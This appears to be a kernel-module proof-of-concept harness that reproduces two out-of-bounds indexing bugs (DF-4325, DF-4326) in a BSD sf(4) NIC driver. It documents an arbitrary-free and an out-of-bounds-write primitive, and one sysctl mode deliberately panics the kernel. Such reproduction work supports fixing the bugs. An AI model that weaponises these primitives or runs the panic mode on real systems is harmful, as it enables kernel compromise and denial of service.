DF-4325 / sf_ring_harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 | /* * sf_ring_harness.c - harness for DF-4325 (sf_txeof TX completion index OOB) * DF-4326 (sf_rxeof RX completion endidx OOB) * * sys/dev/netif/sf/if_sf.c trusts two hardware/DMA-written completion * descriptor fields as array indexes with no bounds check: * * sf_txeof() if_sf.c:998 cur_tx = &sf_tx_dlist[cur_cmp->sf_index >> 7] * sf_index is u32:15 (max 32767) -> idx max 255, * but SF_TX_DLIST_CNT == 128 * -> OOB read of cur_tx->sf_mbuf at +128..+255 * entries (+16KB..+32KB from ring base), * m_freem() on the garbage pointer, * OOB NULL write, and sc->sf_tx_cnt underflow. * * sf_rxeof() if_sf.c:940 desc = &sf_rx_dlist_big[cur_rx->sf_endidx] * sf_endidx is u32:11 (max 2047), * but SF_RX_DLIST_CNT == 256 * -> sf_newbuf() then performs an OOB WRITE of * {mbuf pointer, 30-bit DMA address, valid bit} * at desc (up to +1792 entries past the array, * i.e. up to 12272 bytes past the END of the * whole struct sf_list_data contigmalloc block). * * This module replicates the exact index math and the exact stores those two * functions perform, against a private kzalloc'd struct sf_list_data with a * canary tail, and reports where the accesses land. * * sysctl modes (kern.sf_ring_harness.run): * 1 = DF-4325 TX OOB demonstration (no wild m_freem; logs the primitive) * 2 = DF-4325 TX + REAL m_freem() on the OOB-read garbage pointer * -> expected: kernel page fault / panic (proof of the free primitive) * 3 = DF-4326 RX OOB write demonstration (canary corruption proof) * * No sf(4) hardware is required: the descriptor fields that the NIC would * DMA are planted directly, which is the exact state the driver sees after * a completion DMA. */ #include <sys/param.h> #include <sys/types.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/mbuf.h> #include <sys/callout.h> #include <net/if.h> #include <net/if_var.h> #include <net/if_arp.h> /* struct arpcom, needed by sf_softc */ /* minimal stubs so if_sfreg.h's struct sf_softc compiles standalone * (we never touch those members) */ struct device; struct resource; typedef struct device *device_t; typedef unsigned long bus_space_handle_t; typedef void *bus_space_tag_t; #include "if_sfreg.h" /* the real driver header */ #define CANARY_BYTES 16384 #define CANARY_VAL 0x5a MALLOC_DEFINE(M_SFRH, "sfringh", "sf ring OOB harness"); static char *blk; static size_t blk_sz; static struct sf_list_data *ld; static int tx_cnt_shadow; /* sc->sf_tx_cnt replica */ static int layout_facts(void) { kprintf("sfrh: struct sf_list_data layout (from if_sfreg.h)\n"); kprintf("sfrh: sizeof(sf_tx_bufdesc_type0)=%zu SF_TX_DLIST_CNT=%d " "-> tx ring %zu bytes @ +0\n", sizeof(struct sf_tx_bufdesc_type0), SF_TX_DLIST_CNT, sizeof(struct sf_tx_bufdesc_type0) * SF_TX_DLIST_CNT); kprintf("sfrh: tx_clist %zu bytes @ +%zu\n", sizeof(struct sf_tx_cmpdesc_type1) * SF_TX_CLIST_CNT, (size_t)sizeof(struct sf_tx_bufdesc_type0) * SF_TX_DLIST_CNT); kprintf("sfrh: rx_dlist_big %zu bytes @ +%zu (SF_RX_DLIST_CNT=%d)\n", sizeof(struct sf_rx_bufdesc_type0) * SF_RX_DLIST_CNT, (size_t)sizeof(struct sf_tx_bufdesc_type0) * SF_TX_DLIST_CNT + sizeof(struct sf_tx_cmpdesc_type1) * SF_TX_CLIST_CNT, SF_RX_DLIST_CNT); kprintf("sfrh: total sizeof(struct sf_list_data)=%zu\n", sizeof(struct sf_list_data)); return 0; } /* * DF-4325: one iteration of the sf_txeof() body (if_sf.c:996-1015) with a * hardware-provided sf_index that exceeds the ring. */ static void run_tx(int do_wild_free) { struct sf_tx_cmpdesc_type1 *cur_cmp; struct sf_tx_bufdesc_type0 *cur_tx; struct mbuf *mb; size_t idx, off, ring_bytes; int before; /* * Plant a marker where we know the OOB read will land: * idx = 0x7FF8 >> 7 = 255 -> byte offset 255*128 = 32640 */ off = 255 * sizeof(struct sf_tx_bufdesc_type0); *(void **)(blk + off) = (void *)0x0000deadc0de0000UL; /* unmapped */ cur_cmp = &ld->sf_tx_clist[0]; cur_cmp->sf_index = 0x7FF8; /* 15-bit field, max 0x7FFF */ cur_cmp->sf_priority = 0; cur_cmp->sf_txstat = SF_TXSTAT_TX_OK; cur_cmp->sf_type = SF_TXCMPTYPE_TX; /* == if_sf.c:998 == */ idx = cur_cmp->sf_index >> 7; ring_bytes = sizeof(struct sf_tx_bufdesc_type0) * SF_TX_DLIST_CNT; { /* volatile laundering so gcc cannot constant-fold the * index (it statically PROVES the OOB: see build.log's * -Warray-bounds diagnostics, kept as evidence) */ volatile size_t vidx = idx; cur_tx = &ld->sf_tx_dlist[vidx]; /* OOB by construction */ } kprintf("sfrh[tx]: sf_index=0x%x -> desc idx=%zu " "(SF_TX_DLIST_CNT=%d) idx*128=%zu ring_bytes=%zu " "-> %s BY %zu bytes\n", (unsigned)cur_cmp->sf_index, idx, SF_TX_DLIST_CNT, idx * sizeof(struct sf_tx_bufdesc_type0), ring_bytes, idx >= SF_TX_DLIST_CNT ? "OUT OF BOUNDS" : "in bounds", idx >= SF_TX_DLIST_CNT ? idx * sizeof(struct sf_tx_bufdesc_type0) - ring_bytes : 0); if (idx < SF_TX_DLIST_CNT) { kprintf("sfrh[tx]: unexpected in-bounds; aborting\n"); return; } /* == if_sf.c:1008-1013 == */ before = tx_cnt_shadow; tx_cnt_shadow--; /* sc->sf_tx_cnt-- : 0 -> -1 */ mb = cur_tx->sf_mbuf; /* THE OOB READ */ kprintf("sfrh[tx]: OOB READ at blk+%zu (inside the sf_rx_clist " "region: corrupts RX completion reads too): cur_tx->sf_mbuf = %p\n", off, mb); kprintf("sfrh[tx]: sc->sf_tx_cnt %d -> %d (UNDERFLOW)\n", before, tx_cnt_shadow); if (mb != NULL) { cur_tx->sf_mbuf = NULL; /* THE OOB NULL WRITE */ kprintf("sfrh[tx]: OOB WRITE blk+%zu <- NULL " "(sf_mbuf field of phantom descriptor)\n", off); kprintf("sfrh[tx]: verify: blk+%zu now reads %p\n", off, *(void **)(blk + off)); } if (do_wild_free) { kprintf("sfrh[tx]: mode 2: calling REAL m_freem(%p) exactly as " "if_sf.c:1010 would -> EXPECT PAGE FAULT PANIC\n", mb); m_freem(mb); kprintf("sfrh[tx]: survived m_freem (unexpected)\n"); } else { kprintf("sfrh[tx]: (mode 1: real m_freem(%p) skipped; this is " "the arbitrary-free primitive if_sf.c:1010 applies to the " "OOB value)\n", mb); } } /* * DF-4326: the sf_rxeof() descriptor fetch (if_sf.c:940) + the sf_newbuf() * stores (if_sf.c:892-894) with a hardware-provided sf_endidx beyond the * 256-entry array. */ static void run_rx(void) { struct sf_rx_cmpdesc_type3 *cur_rx; struct sf_rx_bufdesc_type0 *desc; size_t dlist_off, end_of_block; off_t doff; int i, canary_base; int bad = 0; dlist_off = sizeof(struct sf_tx_bufdesc_type0) * SF_TX_DLIST_CNT + sizeof(struct sf_tx_cmpdesc_type1) * SF_TX_CLIST_CNT; end_of_block = sizeof(struct sf_list_data); cur_rx = &ld->sf_rx_clist[0]; cur_rx->sf_len = 64; /* fits a cluster */ cur_rx->sf_endidx = 2047; /* 11-bit field maximum */ cur_rx->sf_status1 = SF_RXSTAT1_OK; cur_rx->sf_id = 3; /* == if_sf.c:940 == */ { volatile unsigned vendidx = cur_rx->sf_endidx; desc = &ld->sf_rx_dlist_big[vendidx]; } doff = (char *)desc - blk; kprintf("sfrh[rx]: sf_endidx=%u -> sf_rx_dlist_big[%u] " "(SF_RX_DLIST_CNT=%d)\n", (unsigned)cur_rx->sf_endidx, (unsigned)cur_rx->sf_endidx, SF_RX_DLIST_CNT); kprintf("sfrh[rx]: desc lands at blk+%jd; array spans blk+%zu..blk+%zu; " "whole sf_list_data ends at blk+%zu -> %jd bytes PAST END OF THE " "CONTIGMALLOC BLOCK\n", (intmax_t)doff, dlist_off, dlist_off + sizeof(struct sf_rx_bufdesc_type0) * SF_RX_DLIST_CNT, end_of_block, (intmax_t)(doff - (off_t)end_of_block)); /* == sf_newbuf() stores, if_sf.c:892-894 == */ desc->sf_mbuf = (struct mbuf *)0x0000abcd11112222UL; desc->sf_addrlo = 0x2BADB002 & 0x3FFFFFFF; /* 30-bit DMA addr */ desc->sf_valid = 1; kprintf("sfrh[rx]: OOB WRITE performed (sf_newbuf semantics):\n"); kprintf("sfrh[rx]: desc->sf_mbuf = %p\n", desc->sf_mbuf); kprintf("sfrh[rx]: desc->sf_addrlo = 0x%x sf_valid=%u\n", (unsigned)(desc->sf_addrlo & 0x3FFFFFFF), (unsigned)desc->sf_valid); /* canary verification */ canary_base = end_of_block; kprintf("sfrh[rx]: canary check at blk+%d..blk+%zu\n", canary_base, end_of_block + CANARY_BYTES); for (i = 0; i < CANARY_BYTES; i++) { if ((unsigned char)blk[canary_base + i] != CANARY_VAL) { if (bad < 8) kprintf("sfrh[rx]: canary CLOBBERED at blk+%d " "(past-end delta %d): 0x%02x\n", canary_base + i, i, (unsigned char)blk[canary_base + i]); bad++; } } kprintf("sfrh[rx]: %d/%d canary bytes clobbered %s\n", bad, CANARY_BYTES, bad ? "-> OOB WRITE PAST sf_list_data PROVEN" : "(canary intact?)"); } static int run_sysctl(SYSCTL_HANDLER_ARGS) { int error, v = 0; error = sysctl_handle_int(oidp, &v, 0, req); if (error || req->newptr == NULL) return (error); if (blk == NULL) { blk_sz = sizeof(struct sf_list_data) + CANARY_BYTES; blk = kmalloc(blk_sz, M_SFRH, M_WAITOK | M_ZERO); ld = (struct sf_list_data *)blk; memset(blk + sizeof(struct sf_list_data), CANARY_VAL, CANARY_BYTES); layout_facts(); } /* reset state between runs */ tx_cnt_shadow = 0; switch (v) { case 1: kprintf("sfrh: === DF-4325 sf_txeof sf_index OOB (log only) ===\n"); run_tx(0); break; case 2: kprintf("sfrh: === DF-4325 sf_txeof sf_index OOB (REAL m_freem) ===\n"); run_tx(1); break; case 3: kprintf("sfrh: === DF-4326 sf_rxeof sf_endidx OOB write ===\n"); run_rx(); break; default: return (0); } return (0); } static int sfrh_unload(void) { if (blk) { kfree(blk, M_SFRH); blk = NULL; } return (0); } static SYSCTL_NODE(_kern, OID_AUTO, sfrh, CTLFLAG_RW, 0, "sf ring harness"); SYSCTL_PROC(_kern_sfrh, OID_AUTO, run, CTLTYPE_INT | CTLFLAG_RW, 0, 0, run_sysctl, "I", "1=tx-log 2=tx+real-free 3=rx"); static int sfrh_modevent(module_t mod, int type, void *data) { int error = 0; switch (type) { case MOD_LOAD: kprintf("sfrh: sf ring harness loaded " "(sysctl kern.sfrh.run=N)\n"); break; case MOD_UNLOAD: error = sfrh_unload(); break; default: break; } return (error); } static struct moduledata sf_ring_harness_mod = { "sf_ring_harness", sfrh_modevent, NULL }; DECLARE_MODULE(sf_ring_harness, sf_ring_harness_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_VERSION(sf_ring_harness, 1); |